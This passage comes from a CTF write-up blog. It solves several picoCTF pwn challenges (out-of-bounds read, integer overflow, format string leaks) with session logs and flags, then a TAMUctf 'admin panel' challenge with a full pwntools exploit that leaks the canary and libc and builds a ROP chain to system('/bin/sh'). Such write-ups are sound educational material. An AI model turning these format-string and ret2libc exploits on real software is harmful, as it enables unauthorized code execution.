  long length;
  int r;

  printf("Please enter your data:\n");
  r = tgetinput(input, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  while (true) {
    printf("Please enter the length of your data:\n");
    r = tgetinput(len, 4);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((length = strtol(len, NULL, 10)) == 0) {
      puts("Please put in a valid length");
    } else {
      break;
    }
  }

  if (inputs > 10) {
    inputs = 0;
  }

  strcpy(data[inputs], input);
  input_lengths[inputs] = length;

  printf("Your entry number is: %d\n", inputs + 1);
  inputs++;
}


static void data_read() {
  char entry[4];
  long entry_number;
  char output[100];
  int r;

  memset(output, '\0', 100);

  printf("Please enter the entry number of your data:\n");
  r = tgetinput(entry, 4);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

  entry_number--;
  strncpy(output, data[entry_number], input_lengths[entry_number]);
  puts(output);
}


int main(int argc, char** argv) {
  char input[3] = {'\0'};
  long command;
  int r;

  puts("Hi, welcome to my echo chamber!");
  puts("Type '1' to enter a phrase into our database");
  puts("Type '2' to echo a phrase in our database");
  puts("Type '3' to exit the program");

  while (true) {
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");
    } else if (command == 1) {
      data_write();
      puts("Write successful, would you like to do anything else?");
    } else if (command == 2) {
      if (inputs == 0) {
        puts("No data yet");
        continue;
      }
      data_read();
      puts("Read successful, would you like to do anything else?");
    } else if (command == 3) {
      return 0;
    } else {
      puts("Please type either 1, 2 or 3");
      puts("Maybe breaking boundaries elsewhere will be helpful");
    }
  }

  return 0;
}

We are not provided with a binary file for this one, but you can compile the source code to test stuff.

By looking at the source code, we need to trigger this conditional:

1
2
3
4
5
  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

To trigger this conditional, you need to ensure that the conversion of the entry string to a long integer using strtol results in 0. We can achieve that by providing an input like 0 or something that is invalid like abc.

Here is my solve:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nc saturn.picoctf.net 56510
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
Please enter your data:
nvsuinvfuisj
Please enter the length of your data:
10
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_1B9F5942}

flag: picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_1B9F5942}

two-sum

We are given this source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>

static int addIntOvf(int result, int a, int b) {
    result = a + b;
    if(a > 0 && b > 0 && result < 0)
        return -1;
    if(a < 0 && b < 0 && result > 0)
        return -1;
    return 0;
}

int main() {
    int num1, num2, sum;
    FILE *flag;
    char c;

    printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
    fflush(stdout);
    printf("What two positive numbers can make this possible: \n");
    fflush(stdout);

    if (scanf("%d", &num1) && scanf("%d", &num2)) {
        printf("You entered %d and %d\n", num1, num2);
        fflush(stdout);
        sum = num1 + num2;
        if (addIntOvf(sum, num1, num2) == 0) {
            printf("No overflow\n");
            fflush(stdout);
            exit(0);
        } else if (addIntOvf(sum, num1, num2) == -1) {
            printf("You have an integer overflow\n");
            fflush(stdout);
        }

        if (num1 > 0 || num2 > 0) {
            flag = fopen("flag.txt","r");
            if(flag == NULL){
                printf("flag not found: please run this on the server\n");
                fflush(stdout);
                exit(0);
            }
            char buf[60];
            fgets(buf, 59, flag);
            printf("YOUR FLAG IS: %s\n", buf);
            fflush(stdout);
            exit(0);
        }
    }
    return 0;
}

We are not given any binary file.

Analyzing the source code, we need to trigger this:
else if (addIntOvf(sum, num1, num2) == -1)
and this:
if (num1 > 0 || num2 > 0)
To return -1 on the addIntOvf function, we have to provide two positive integers that result in a negative integer (We need to choose two positive integers because of the second condition previously stated). In other words, we need an integer overflow.

int is a 4-byte variable. The maximum size of it is 2147483647 (2^31 - 1). So if we have num1 as 2147483647 and num2 as 1, there will be an integer overflow. Let’s try it:

1
2
3
4
5
6
7
8
nc saturn.picoctf.net 62116
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2147483647
1
You entered 2147483647 and 1
You have an integer overflow
YOUR FLAG IS: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_e06700c0}

flag: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_e06700c0}

format string 0

Here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 32
#define FLAGSIZE 64

char flag[FLAGSIZE];

void sigsegv_handler(int sig) {
    printf("\n%s\n", flag);
    fflush(stdout);
    exit(1);
}

int on_menu(char *burger, char *menu[], int count) {
    for (int i = 0; i < count; i++) {
        if (strcmp(burger, menu[i]) == 0)
            return 1;
    }
    return 0;
}

void serve_patrick();

void serve_bob();


int main(int argc, char **argv){
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
                        "own debugging flag.\n");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    signal(SIGSEGV, sigsegv_handler);

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    serve_patrick();

    return 0;
}

void serve_patrick() {
    printf("%s %s\n%s\n%s %s\n%s",
            "Welcome to our newly-opened burger place Pico 'n Patty!",
            "Can you help the picky customers find their favorite burger?",
            "Here comes the first customer Patrick who wants a giant bite.",
            "Please choose from the following burgers:",
            "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice1[BUFSIZE];
    scanf("%s", choice1);
    char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
    if (!on_menu(choice1, menu1, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        int count = printf(choice1);
        if (count > 2 * BUFSIZE) {
            serve_bob();
        } else {
            printf("%s\n%s\n",
                    "Patrick is still hungry!",
                    "Try to serve him something of larger size!");
            fflush(stdout);
        }
    }
}

void serve_bob() {
    printf("\n%s %s\n%s %s\n%s %s\n%s",
            "Good job! Patrick is happy!",
            "Now can you serve the second customer?",
            "Sponge Bob wants something outrageous that would break the shop",
            "(better be served quick before the shop owner kicks you out!)",
            "Please choose from the following burgers:",
            "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice2[BUFSIZE];
    scanf("%s", choice2);
    char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
    if (!on_menu(choice2, menu2, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        printf(choice2);
        fflush(stdout);
    }
}

The checksec result for the binary file is the following:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Looking at the source code, we need to trigger signal(SIGSEGV, sigsegv_handler); to print the flag.

While running the program, we first get into the serve_patrick() function. To make it keep running and get into serve_bob(), the only available option is to provide the Gr%114d_Cheese option. We then get into serve_bob()

When inside serve_bob(), there is a similar menu. Whatever we pick will be printed at our screen using printf. That means that the format inside the strings will be used by the printf function, causing a format string vulnerability. If we try the Pe%to_Portobello option, this will happen:

1
2
Enter your recommendation: Pe%to_Portobello
Pe20021560_Portobello

It is reading from somewhere and printing these numbers for us. What if we choose the Cla%sic_Che%s%steak option?

1
2
3
4
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_63191ce6}

What happened here is that a %s is provided on the input, but printf doesn’t have arguments on it. printf will then start using arguments from memory. We are probably trying to access an invalid address to get a string, thus causing the error on the program and printing the flag.

flag: picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_63191ce6}

format string 1

Here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>


int main() {
  char buf[1024];
  char secret1[64];
  char flag[64];
  char secret2[64];

  // Read in first secret menu item
  FILE *fd = fopen("secret-menu-item-1.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-1.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret1, 64, fd);
  // Read in the flag
  fd = fopen("flag.txt", "r");
  if (fd == NULL){
    printf("'flag.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(flag, 64, fd);
  // Read in second secret menu item
  fd = fopen("secret-menu-item-2.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-2.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret2, 64, fd);

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  printf("Bye!\n");
  fflush(stdout);

  return 0;
}

Here is the checksec result:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

We have a format string vulnerability here:

1
2
3
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);

We control what will be given to the printf function. As we don’t know the size of secret-menu-item-1.txt or secret-menu-item-2.txt, it can be quite tricky to know where in memory the flag.txt string is. So I just decided to put a bunch of %p and see what I get

1
2
3
Give me your order and I'll read it back to you:
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,
Here's your order: 0x402118,(nil),0x760c1fa2da00,(nil),0x11a1880,0xa347834,0x7ffcaa973f50,0x760c1f81ee60,0x760c1fa434d0,0x1,0x7ffcaa974020,(nil),(nil),0x7b4654436f636970,0x355f31346d316e34,0x3478345f33317937,0x30355f673431665f,0x7d343663363933,0x7,0x760c1fa458d8,0x2300000007,0x206e693374307250,0xa336c797453,0x9,0x760c1fa56de9,0x760c1f827098,0x760c1fa434d0,(nil),0x7ffcaa974030,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,

Starting from the 14th pointer, there is the string. We can check it by doing:

1
2
>>> int.to_bytes(0x7b4654436f636970, 8, 'little')
b'picoCTF{'

If we do the same with the next values, we get the flag.

flag: picoCTF{4n1m41_57y13_4x4_f14g_50396c64}

Stonks

Here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
        int shares;
        char symbol[MAX_SYM_LEN + 1];
        struct Stonks *next;
} Stonk;

typedef struct Portfolios {
        int money;
        Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
        if (!p) {
                return 1;
        }
        printf("\nPortfolio as of ");
        fflush(stdout);
        system("date"); // TODO: implement this in C
        fflush(stdout);

        printf("\n\n");
        Stonk *head = p->head;
        if (!head) {
                printf("You don't own any stonks!\n");
        }
        while (head) {
                printf("%d shares of %s\n", head->shares, head->symbol);
                head = head->next;
        }
        return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
        if (shares < 1) {
                return NULL;
        }
        Stonk *stonk = malloc(sizeof(Stonk));
        stonk->shares = shares;

        int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
        for (int i = 0; i <= MAX_SYM_LEN; i++) {
                if (i < AI_symbol_len) {
                        stonk->symbol[i] = 'A' + (rand() % 26);
                } else {
                        stonk->symbol[i] = '\0';
                }
        }

        stonk->next = NULL;

        return stonk;
}

int buy_stonks(Portfolio *p) {
        if (!p) {
                return 1;
        }
        char api_buf[FLAG_BUFFER];
        FILE *f = fopen("api","r");
        if (!f) {
                printf("Flag file not found. Contact an admin.\n");
                exit(1);
        }
        fgets(api_buf, FLAG_BUFFER, f);

        int money = p->money;
        int shares = 0;
        Stonk *temp = NULL;
        printf("Using patented AI algorithms to buy stonks\n");
        while (money > 0) {
                shares = (rand() % money) + 1;
                temp = pick_symbol_with_AI(shares);
                temp->next = p->head;
                p->head = temp;
                money -= shares;
        }
        printf("Stonks chosen\n");

        // TODO: Figure out how to read token from file, for now just ask

        char *user_buf = malloc(300 + 1);
        printf("What is your API token?\n");
        scanf("%300s", user_buf);
        printf("Buying stonks with token:\n");
        printf(user_buf);

        // TODO: Actually use key to interact with API

        view_portfolio(p);

        return 0;
}

Portfolio *initialize_portfolio() {
        Portfolio *p = malloc(sizeof(Portfolio));
        p->money = (rand() % 2018) + 1;
        p->head = NULL;
        return p;
}

void free_portfolio(Portfolio *p) {
        Stonk *current = p->head;
        Stonk *next = NULL;
        while (current) {
                next = current->next;
                free(current);
                current = next;
        }
        free(p);
}

int main(int argc, char *argv[])
{
        setbuf(stdout, NULL);
        srand(time(NULL));
        Portfolio *p = initialize_portfolio();
        if (!p) {
                printf("Memory failure\n");
                exit(1);
        }

        int resp = 0;

        printf("Welcome back to the trading app!\n\n");
        printf("What would you like to do?\n");
        printf("1) Buy some stonks!\n");
        printf("2) View my portfolio\n");
        scanf("%d", &resp);

        if (resp == 1) {
                buy_stonks(p);
        } else if (resp == 2) {
                view_portfolio(p);
        }

        free_portfolio(p);
        printf("Goodbye!\n");

        exit(0);
}

We are not provided with any binary file.

This is another format string challenge. Take a look at these lines of code on the buy_stonks function:

1
2
3
4
5
        char *user_buf = malloc(300 + 1);
        printf("What is your API token?\n");
        scanf("%300s", user_buf);
        printf("Buying stonks with token:\n");
        printf(user_buf);

We need to know where the contents of api are. I, again, just put a bunch of %p and see what happens:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
nc mercury.picoctf.net 27912
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,
Buying stonks with token:
0x8a3b450,0x804b000,0x80489c3,0xf7f60d80,0xffffffff,0x1,0x8a39160,0xf7f6e110,0xf7f60dc7,(nil),0x8a3a180,0x1,0x8a3b430,0x8a3b450,0x6f636970,0x7b465443,0x306c5f49,0x345f7435,0x6d5f6c6c,0x306d5f79,0x5f79336e,0x32666331,0x30613130,0xffda007d,0xf7f9baf8,0xf7f6e440,0xf8bb5a00,0x1,(nil),0xf7dfdce9,
Portfolio as of Fri Aug  2 05:05:33 UTC 2024


1 shares of SXD
1 shares of NJF
1 shares of CN
4 shares of HXQ
3 shares of UR
81 shares of ONKL
188 shares of F
451 shares of G
327 shares of ANLB
175 shares of U
189 shares of K
Goodbye!

I created a python script to look at all the values and generate a solution:

1
2
3
4
5
6
7
8
9
10
11
output = '0x8a3b450,0x804b000,0x80489c3,0xf7f60d80,0xffffffff,0x1,0x8a39160,0xf7f6e110,0xf7f60dc7,(nil),0x8a3a180,0x1,0x8a3b430,0x8a3b450,0x6f636970,0x7b465443,0x306c5f49,0x345f7435,0x6d5f6c6c,0x306d5f79,0x5f79336e,0x32666331,0x30613130,0xffda007d,0xf7f9baf8,0xf7f6e440,0xf8bb5a00,0x1,(nil),0xf7dfdce9'
output = output.split(',')
decoded = ''
for _ in range(len(output)):
        output[_] = output[_].encode()
        try:
                decoded += int.to_bytes(int(output[_], 16), 8, 'big').decode()[::-1]
        except (UnicodeDecodeError, ValueError):
                continue

print(decoded)

flag: picoCTF{I_l05t_4ll_my_m0n3y_1cf201a0}

Extra challenge ^^

TAMUctf 2024 - admin panel

DISCLAIMER: I didn’t solve this challenge during the CTF.

Let’s get started :)

The challenge provides us a zip file. By unzipping it, we get a libc, a ld, an executable file and a source code file. Let’s take a look at the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <stdio.h>
#include <string.h>

int upkeep() {
        // IGNORE THIS
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stderr, NULL, _IONBF, 0);
}

int admin() {
        int choice = 0;
        char report[64];

        puts("\nWelcome to the administrator panel!\n");
        puts("Here are your options:");
        puts("1. Display current status report");
        puts("2. Submit error report");
        puts("3: Perform cloning (currently disabled)\n");

        puts("Enter either 1, 2 or 3: ");
        scanf("%d", &choice);

        printf("You picked: %d\n\n", choice);

        if (choice==1) {
                puts("Status report: \n");

                puts("\tAdministrator panel functioning as expected.");
                puts("\tSome people have told me that my code is insecure, but");
                puts("\tfortunately, the panel has many standard security measures implemented");
                puts("\tto make up for that fact.\n");

                puts("\tCurrently working on implementing cloning functionality,");
                puts("\tthough it may be somewhat difficult (I am not a competent programmer).");
        }
        else if (choice==2) {
                puts("Enter information on what went wrong:");
                scanf("%128s", report);
                puts("Report submitted!");
        }
        else if (choice==3) {
                // NOTE: Too dangerous in the wrong hands, very spooky indeed
                puts("Sorry, this functionality has not been thoroughly tested yet! Try again later.");
                return 0;

                clone();
        }
        else {
                puts("Invalid option!");
        }
}

int main() {
        upkeep();

        char username[16];
        char password[24];
        char status[24] = "Login Successful!\n";

        puts("Secure Login:");
        puts("Enter username of length 16:");
        scanf("%16s", username);
        puts("Enter password of length 24:");
        scanf("%44s", password);
        printf("Username entered: %s\n", username);
        if (strncmp(username, "admin", 5) != 0 || strncmp(password, "secretpass123", 13) != 0) {
                strcpy(status, "Login failed!\n");
                printf(status);
                printf("\nAccess denied to admin panel.\n");
                printf("Exiting...\n");
                return 0;
        }

        printf(status);
        admin();

        printf("\nExiting...\n");
}

Here is the checksec result for the binary file:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Everything is enabled!

I used pwninit to generate a patched file that uses the provided libc and ld. You can check it out here: pwninit

By looking at the source code, there are some sketchy things happening…

  1. password is a buffer of size 24, but we are writing 45 bytes into it (scanf("%44s", password);)
  2. There are two printf(status);, which could potentially become a format string vulnerability
  3. report is a buffer of size 64, but we are writing 129 bytes into it (scanf("%128s", report);)

To run the admin function we need a username with admin and a password with secretpass123. So for the username I provided the input admin. But the password is a buffer of size 24 and we can write more things into it. In fact, we can actually overwrite the contents of status, which is declared immediately after password!

As status get used inside the printf, we actually have a format string vulnerability. We need to fill the password buffer + the space in between password and status and then start writing into status.

To calculate the index passed on the format string, we can take a look at gdb. Let’s insert a breakpoint right before the vulnerable printf and take a look at the stack:

admin-panel1

The stack cookie (right before the rbp) is at position 10 if we start counting from the top of the stack. printf will start printing the registers to then print the stack. That means we need to add 5 to this counting (resulting in 15). It is important to know the stack cookie as we have a buffer overflow inside the admin function.

It is important to notice that we also have ASLR and PIE enabled, so it would be good having a address leak. Luckily, we can still write more stuff on the password input. Let’s look again at the stack and see if we can leak something:

admin-panel2

There is an address right after the rbp. It is a return address to somewhere. Let’s find out where this takes us by running vmmap.

vmmap

Our address is 0x00007ffff7e3109b, and as we can see that is inside libc. So we can leak a libc address. As the stack cookie position is 15 and it is 2 positions before the return address, the libc address position will be 17 when we explore the format string vulnerability.

So far we have:

1
2
3
4
5
6
7
p = process("./admin-panel_patched")
p.recvline()
p.recvline()
p.sendline(b"admin")
p.recvline()
p.sendline(b'secretpass123aaaaaaaaaaaaaaaaaaa%15$p,%17$p')
p.recvline()

That should print out the stack cookie and the libc address. Let’s get these values and print them out on the solution:

1
2
3
4
5
leak_addr = p.recvline().decode()[:-1].split(',')
stack_cookie = int(leak_addr[0], 16)
libc_leak = int(leak_addr[1], 16)
print(f"stack cookie is: {hex(stack_cookie)}")
print(f"leaked address is: {hex(libc_leak)}")

Nice! The stack cookie and leaked address are saved. The program is now inside the admin() function. Let’s try exploring the buffer overflow by choosing choice 2. There is a 129 byte writing into the 64 bytes size report variable. If we make a test, it is possible to verify that we indeed can overwrite the return address (and consequently the stack cookie ;;)

stack_smashing

Let’s open it on gdb and insert a breakpoint before the stack cookie check (__stack_chk_fail@plt). I am putting the breakpoint at the mov rdx, QWORD PTR [rbp-0x8] instruction. Let’s also use the command pattern create to generate a pattern for our input and see where things go wrong.

This is what I can see inside the rdx register:
$rdx : 0x616161616161616a ("jaaaaaaa"?)
(we could also just check the value of rbp-0x8 by doing the command x/gx $rbp-0x8)
Checking the offset position:

1
2
3
gef➤  pattern offset 0x616161616161616a
[+] Searching for '6a61616161616161'/'616161616161616a' with period=8
[+] Found at offset 72 (little-endian search) likely

That means we need to use the 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa' part of the pattern to reach the stack cookie. After that we write the stack cookie that was retrieved using the format string vulnerability and write anything into the rbp, it doesn’t matter. After all of that we can finally write into the return address without problems.

But to where do we return to?

We don’t have any interesting function in our program that could execute stuff for us. What we do have, however, is a libc address on the return address. As we have PIE and ASLR enabled, this address will be randomized everytime but will always be the same instruction. On this case, we just need to calculate the offset of the instruction being executed considering the entrypoint as a reference. Let’s use gdb to achieve that

admin-panel5

The highlighted address is the return address. Let’s see to where this takes us

admin-panel6

It takes us to __libc_start_main+235. Now we need to check what is the offset of this instruction when the program is not running. So you can open the libc file inside of gdb. I opened it, disassembled __libc_start_main and started looking for the specific instruction __libc_start_main+235.

admin-panel7

There it is :) It is on the address 0x000000000002409b, so it is on the offset 0x2409b after the entrypoint of libc. We can now use the previously leaked libc address and subtract 0x2409b out of it to find the entrypoint address of libc even when the program is running!

This is the calculation:

1
2
libc_start_main_offset = 0x000000000002409b
libc_entrypoint = libc_leak - libc_start_main_offset

Now we can choose any address of libc to jump to. Let’s see if we have can execute the system function and pass the argument /bin/sh to get a shell.

Looking for the system offset inside the libc:

admin-panel8

system is at offset 0x44af0. Let’s save it

1
system_offset = 0x44af0

admin-panel9

"/bin/sh" is at offset 18052c

1
bin_sh_offset = 0x18052c

So we know the address of system and the address of the string “/bin/sh”. However, we need to put the string “/bin/sh” into the register rdi when calling for the system function. We can achieve that using ROP. Let’s look for some gadgets using ROPgadget

The command is: ROPgadget --binary libc.so.6 --ropchain | grep "pop rdi"
[+] Gadget found: 0x23a5f pop rdi ; ret
Let’s also save it:

1
pop_rdi_ret_offset = 0x23a5f

Nice! That’s everything we need :)

In conclusion, we are filling the entire report buffer, overwriting the stack cookie, putting anything into the rbp register, overwriting the return address with the pop rdi ; ret instruction to put the "/bin/sh" string into the rdi register, putting the "/bin/sh" address (the libc entrypoint + the offset we found) right after it so that pop rdi works fine, and then putting the system address (the libc entrypoint + the address we found) after it so that ret returns to it :)

This is my solution for this challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

libc_start_main_offset = 0x000000000002409b
pop_rdi_ret_offset = 0x23a5f
system_offset = 0x44af0
bin_sh_offset = 0x18052c

p = process("./admin-panel_patched")
p.recvline()
p.recvline()
p.sendline(b"admin")
p.recvline()
p.sendline(b'secretpass123aaaaaaaaaaaaaaaaaaa%15$p,%17$p')
p.recvline()

leak_addr = p.recvline().decode()[:-1].split(',')
stack_cookie = int(leak_addr[0], 16)
libc_leak = int(leak_addr[1], 16)
print(f"stack cookie is: {hex(stack_cookie)}")
print(f"leaked address is: {hex(libc_leak)}")

libc_entrypoint = libc_leak - libc_start_main_offset
pop_rdi_ret = libc_entrypoint + pop_rdi_ret_offset

payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa'
payload += p64(stack_cookie)
payload += p64(0xdeadbeef)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_offset + libc_entrypoint)
payload += p64(system_offset + libc_entrypoint)

p.recvuntil(b'2 or 3:')
p.sendline(b'2')
p.recvuntil(b'wrong:')
p.sendline(payload)

p.interactive()

admin-panel10

That’s it. I hope you liked it :)

This post is licensed under CC BY 4.0 by the author.

Trending Tags